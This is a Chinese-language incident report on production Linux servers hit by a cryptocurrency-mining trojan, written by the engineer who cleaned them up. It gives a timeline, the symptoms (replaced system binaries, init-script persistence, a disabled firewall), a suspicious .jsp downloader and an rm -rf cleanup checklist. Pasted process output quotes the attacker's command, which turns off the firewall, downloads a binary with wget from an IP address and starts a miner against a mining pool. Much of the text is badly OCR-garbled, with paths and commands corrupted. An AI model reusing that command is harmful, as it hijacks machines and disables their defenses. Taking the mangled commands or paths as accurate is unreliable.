关于生产环境服务器被黑的处理

1、关于生产环境服务器被黑的情况报告一、起因背景3月9日晚上八点半，我收到公司监控平台zabbix频繁告警22服务器cpu资源耗尽，因为没带电脑回家然后我立即返回公司查看，在返回公司的路上接到了符经理的电话。随后在22上面查询到有一个.yam进程，如下图所示；top20:43:00up20cay5,1：Q7,3usersloadaverage:15.6,17-3Qr17.17Tasks:45btotal,1riinning433sleeping0stopped1.zombieCpu(s):69.联_i斗0.3%sy,0.Oni,29-7%id?I0.0.Mhi,0-0%siP0,0%&tEl口:1

2、617S236Kt3talH14143135ku曰曰比203S100kfree,1834520kbuffersSwap；8159224ktotals29720kused8130504kfree,S221896kcachedF7DI-ERPRXIVIRTRE:正ES-：KT7VE-COMMANDroot.20D1384mS.-jm24S8109G.70.5691：01.93yamL5553root51)11.Og1-迄IKms/.o11.1)L：.VL4HJava1130root20010.1.ISaS3.311.6L2C0:oSjava：0731root.20010.818tuS1.3G.1m

3、07java13root，J01)000s(1.3).1)8:34,80k&oftigd/Z41TQQt200000S0.jo.y4;LG.27ksoftirq.d/9LCL1root200000S0.30.0L:OC.Hflush-253;01737root.20D000S0.30.06:08.87kondemand/91738root,J00(101)s0.31).1)5:4S,78kondemand./10Lj42root200000S0.30.0a:40./akondemand/1421372呂bbix20D18476%881GS0.30.D7:24.91zabbix_agentd21

4、38zabbix20D184769G8816S0.30.07:30.50zabbix.agentd:1!贬root501.-.4(1(1laOO9謹(Lt1).1)0:00.76top1root20019360L3o211?S0.00.00:02.ISinit2root200000S0.00.00:00.05kthresaddrootSkx:server、口ps-ef|grep6653root&4604926021;46pts/300:00;00grep6653-root.6653IBbbS019:65?001:00j00/bin/baah-e/etc/initd/iptablesatop;s

5、erviceiptableastop;SuSEfirewal12stou;reSii5EfirewallSstop;irget_chttp/l1L20.12&u19s:B89/yao:chmod777yao;t/yam_czstratum+tcp：/iTCmiEivSFPVNn甸mD迟冏蛆iSo6SVDydB3AZM34iZtdYpBNanVeQhh4mpU1XGRSjngBTfCBxaaAtUGC2DArotyaKSz1LJyj,fSbec1df-3c6bf9a03cece785d333ff96bc65f9a2df01S9aB63587Bd6d26aeB141x.S00513050:80；3

6、O2B100f;root-66846S&3曲19:55?13:14:20/ygmcx_Mstratumtcp:/47CiLnEQ4v8FPWiiw9-jnDaZMiSoSSTOydBSAZMSlZtdYpBmYeqili4mpiriX6RSnigBTfC8xqaAtUGC2DArotyaKSzILJyJ.f2bec1dfSe6bf9a03c8ce785d3S3ff96bc65f9a2df0189a&635S7Sd6d26ae：14:x釦oria.dwarfpooLcom:8005:8050:8080:8100/xmrrootehxserver凡衣随后我查询到这台服务器是被黑客恶意扫描种植了木马

7、。.yam是比特币挖矿的进程。这个程序执行的时候一旦服务器联网就会调用系统的wget命令自动连接9地址，去下载黑客攻击之前所需要的木马。紧接着我查询了服务器22上的/目录，发现有几个今天下午6点39新建的可疑几个执行文件，查看了一下权限，三个用户都拥有777权限。先将几个文件拥有权限全部归零。然后将该文件下载到本地电脑再进行查看，随后查看到这些文件都是一堆乱码。随后我用杀毒软件进行扫描，杀毒软件立即报警为黑客攻击的木马。之后我查询了这两天的系统日志，发现Samba与zabbix用户访问量比之前都要高，随后查询Samba与zabbix也网上也都报有漏洞。之后后在网上符经理也发现了strust2漏

8、洞。之后我将这些病毒文件进行了权限归零并删除，随后按照符经理进行了进一步的检查与删除。周五（3月10日）将服务器重新做raidlO,并将Linux操作系统进行了备份。至周五晚上两点，服务器备份及恢复正常。二、中毒现象1、开始在90.22服务器上发现可以进程.yam,占用整个服务器的资源FIDCSEBFRVIRTRESSKRS吭PU嶠E【TIJ!E-C0UD6684rt013S4i8餉24&BS悄Tb651Ql,93yem2、目录下有几个木马文件，oonf.nS-ystemtystenxiaornamayam这些都是从服务器上下载下来分析用的木马文件。这些木马很顽强，删除马上会自动恢复。3、系统

9、瘫痪，因为4、（1）系统文件/bin目录下ps，netstat文件，/usr/sbin目录下ss、lsof命令被替换为1.2m的文件（2）usr/bin/bsd-port/getty，正常系统目录下没有getty这个文件夹。进程中有个getty进程是伪装的远程登录进程。需要杀死。（3）/tmp目录下出现/moni.lock,getty.lockconf.n（4）/etc/rc.d/init.d/出现selinux、DbSecuritySpt、rc.local/etc/rc.d/rc0-5.d/S77.zl/etc/rc.d/rc0-5.d/S97DbSecuritySpt/etc/rc.d/r

10、c0-5.d/S99selinux1e-hal:/=t:/re.zl丫1Trrtrn-t殳二4：i：:疋牛飞广,:上1陪二丁t-./Jlld/.5、/目录下的木马执行文件不断的变化，有/xiaomamaa,/wancchunfeiand/helloworld/taifeng/cmd6、计划任务crontab全部被删除，替换成木马的执行任务7、防护墙被恶意关闭。三、危害程度极其严重CPU资源被完全消耗，系统奔溃。系统文件丢失。无法正常运行。因为服务器上配有nginx做负载均衡，这一台服务器奔溃，导致公司的命脉网站,无法访问。四、主要现象及处理过程周日早晨九点接到符经理电话，学校群里反应网站访问不

11、了，后来远程ssh也都登录不上，当时我回复符经理说，可能是服务器系统瘫痪了,现在我只能立刻跑一趟萧山查看具体情况，然后我来到萧山机房，查看服务器此时服务器硬盘灯也不闪，与预想的一致，服务器死机。接着我立即硬重启，网站恢复正常，但不到20分钟，网站又访问不了了，后来我用显示器查看，系统几千个报错。如上图所示，一直闪屏，接着我打电话与符经理做了汇报，符经理让我先判断是硬件还是软件问题，我说是软件问题，还是服务器中了黑客植入的攻击木马程序。接着我向他汇报了近期我们的服务samba和zabbix访问量异常,然后他安排我紧急恢复系统，并将网线拔掉，系统查杀完毕后查杀病毒，关闭Samba服务。一小时后，中

12、午十二点，系统恢复正常。接着进行了病毒中毒查杀，查杀完毕后。插上网线，系统恢复正常。重新安装了杀毒软件，并写好了定时脚本，对系统定期每日两次进行排杀，然后对25进行了重点排查，中午十二点半，确认病毒查杀完毕。下午三点半，25病毒再次发作，以下是查看系统执行文件被病毒替换roothx25/#1呂一lh/bin/net呂ta/t-rwxr-xr-x1rootroo七L3月1214:12/bin/netstat-roothx25/#Islh/bin/psLs-lh/usr/sbin/ss-rwxr-xr-x1rootroot1_2M3月1214:12roothx25/#ls-lh/usr/sbin/

13、1sof随后我按同样方法处理好了25.下午五点半22系统再次遭受病毒袭击，系统再次奔溃，随后查看情况与上午中毒一致，紧接着25也中毒，进程中top进程异常PIDUSERPRXIVIRTRESSHRS%CPUMEM1IE-C0WXD2190root2009022m2.5glOmS39.216.24939:05/usr/local/j9953root20010.8g1.6g6200S6.910.084:30.84/usr/local/j-8956root200165042680828R2.00.00:00.06topbn112700root200166842928936R2.00.00:01.05

14、top8961root200165042684828R1.60.00:00.05top-bn18990root200165042664828S1.60.00;00.05top-bn19063root200165042660828S1.60.00:00.05top-bn19070root200165042664828S1.60.00:00.05top-bn19005root200165042660828S1.30.00:00.04top-bn19026root200165042660828S1.30.00:00.04top-bn19109root200165042636828S1.30.00:0

15、0.04top-bn19121root200165042656828S1.30.00:00.04top-bn19126root200165042656828S1.30.00:00.04top-bn1我紧急批量结束了top进程。隐藏在/tmp中的.1Z1489318307开始发作.而且进程名称后三位全部都不一样，接着我批量结束了.lzl489*所有进程，刚杀完.lzl489318307接着.z1又出现了，如下图所示。-cn土323640.00”08S02647Ss17：000:00/e+c.-.z1root323910.00.08E8264?Ss17:000:00/etc/,zlmt324260

16、.00.08B9264YSs17:DO0:00.etc/,r1root324420.00.08E8268pSs17:000:00/etc/,zlrout324580.00.0838264?Ss17:00000/etc/,zlroot324670.00.088326S?Ss17:000:00/etc/,zlroot324710.00.0888268?Ss17:00000/etc/,zl-OSjf32474o.o0.0sea68Ss：I7:on0：oo,e+r.-.z1root325120.00.08S8264?Ss17:;000;00，-etc/,zlnt；1；恬210.()0.0888z64/

17、Ssve:)00加/etc/.z1root325120.00.0S8S264Ssil.:000:00/etc/.zlrcy.ii.325540.0o.n882&4?Ss17:000:00.etc/,zlroot325630.00.088S26SSs17:DO0:00/etc.-.zlrout325740.00.08SS268Ss17:00000/etc/,zlroDt326040.00.0皈264Ssrr：:000:00/etc.-.zlroot326120.00.08E8268?Ss17:;000;00/etc/,zl-cn土；怡18(to0.0附Mz68Ss17：:)00:加/etc/,z

18、1root326340.00.0888264Ss17:000:00/etc/,zl059330寸的官万芒件亍Ofp!10Ce55ejer;TeorrittUS：PROBLferity：-igh同样方法先杀死.zl隐藏进程，CPU开始迅速往下降，接着赶紧查询可疑文件，删除隐藏文件。系统恢复正常。晚上七点，符经理也来到萧山机房。我们一起查杀了服务器上所有的可疑文件。然后找出了最近三天新建的所有文件。符经理先在25上搜索了一个自动启动下载病毒的.jsp脚本。如下图所示。接着我在22上也找到了一个创建时间相同但是名称不同的jsp脚本。我们立即进行了删除。1DC3/ustylciwI/vvubEpp/G

19、rTmc;|.SE)由shareS-.src卡tomcat7terncat7037tnnactoinrst7037rinm占din!-S-torTicat7Gmpt卡tomcat7pj).tomcatsv/ebapp由-“.cmacName榕改时间.SGriptsDirectory2016-9-2214:14staticDirectory2016-3-1715:12templateDirectory2015-4-3014:曲WEB-INFDirectory2017-2-1317:54画403.html29&0HTMLFile2&15-6-21S-：17圖favicon.ico223&Icon2

20、015-6-21&:17劉site-map.html10192HTMLFile2015-6-21&;17site-inap.brt10194TextDocutne-nt2015-6-218-:17型site-map.xml10299XMLFile2015-5-218:17|ZcmbieBoy.jspL&4划牛2017-3-103;35|町JLL-L.J&LAl_rU-I.AXU-ILJilJLTLILVIJLW-LU亠JTLJJ7eai5曲助攒個鶯12tlYpEMeqhlilopUHGRSniiSTfC&qaAtCGC2DAi0t哪$z1Ljyj.fJbecidf3efbf9日03cSee7S

21、id3(f&aSdfOlBSaSbSSTSdfidZ&aeSU：x?iDaria.charfpool,cmd；800o:S0;0:8080:810Dimr：root66S466539919:砧?13:14:20./yam-cx-1!stratunirtcp：tunEQ4Y0FPVffM启kaiSciESVQydB血戲剧皿h4uNl訪恥！nuBTfC弧aAWGCDAr血aKSMU灯f2beckf3c6hf9aO3B8te78bd333figBbc6bf9a2dfllSaE63587Sdfd2)orindiarfpoDLcob：8(X)&:EO50:8080;8K)W皿2、服务器有无中木马前期诊断

22、有无下列文件cat/etc/rc.d/init.d/selinuxcat/etc/rc.d/init.d/DbSecuritySptls/usr/bin/bsd-portls/usr/bin/dpkgd查看大小是否正常ls-lh/bin/netstatls-lh/bin/psls-lh/usr/sbin/lsofls-lh/usr/sbin/ss如果大小为1.2m,或者大小超过200k的都可以判定为异常文件，如果上面文件异常，立即删除以下文件，如果删除以下后立即恢复，先更改权限chmod000dir/file_name,然后查看文件的隐藏权限，lsattrdir/file_name，如果含有i

23、属性，择删除i属性后删除。chattr-idir/file_name删除如下目录及文件，rm-rf/usr/bin/dpkgd(psnetstatlsofss)rm-rf/usr/bin/bsd-port(木马程序)rm-f/usr/local/zabbix/sbin/zabbix_AgentD(木马程序)rm-f/usr/local/zabbix/sbin/conf.nrm-f/usr/bin/.sshdrm-f/usr/bin/sshdrm-f/root/cmd.nrm-f/root/conf.nrm-f/root/IPrm-f/tmp/gates.lodrm-f/tmp/moni.lod

24、rm-f/tmp/notify.file程序rm-f/tmp/gates.lock进程号rm-f/etc/rc.d/init.d/DbSecuritySpt(启动上述描述的那些木马变种程序)rm-f/etc/rc.d/rc1.d/S97DbSecuritySptrm-f/etc/rc.d/rc2.d/S97DbSecuritySptrm-f/etc/rc.d/rc3.d/S97DbSecuritySptrm-f/etc/rc.d/rc4.d/S97DbSecuritySptrm-f/etc/rc.d/rc5.d/S97DbSecuritySptrm-f/etc/rc.d/init.d/selinux（默认是启动/usr/bin/bsd-port/getty）rm-f/etc/rc.d/rc1.d/S99selinuxrm-f/etc/rc.d/rc2.d/S99selinuxrm-f/etc/rc.d/rc3.d/S99selinuxrm-f/etc/rc.d/rc4.d/S99selinuxrm-f/etc/rc.d/rc5.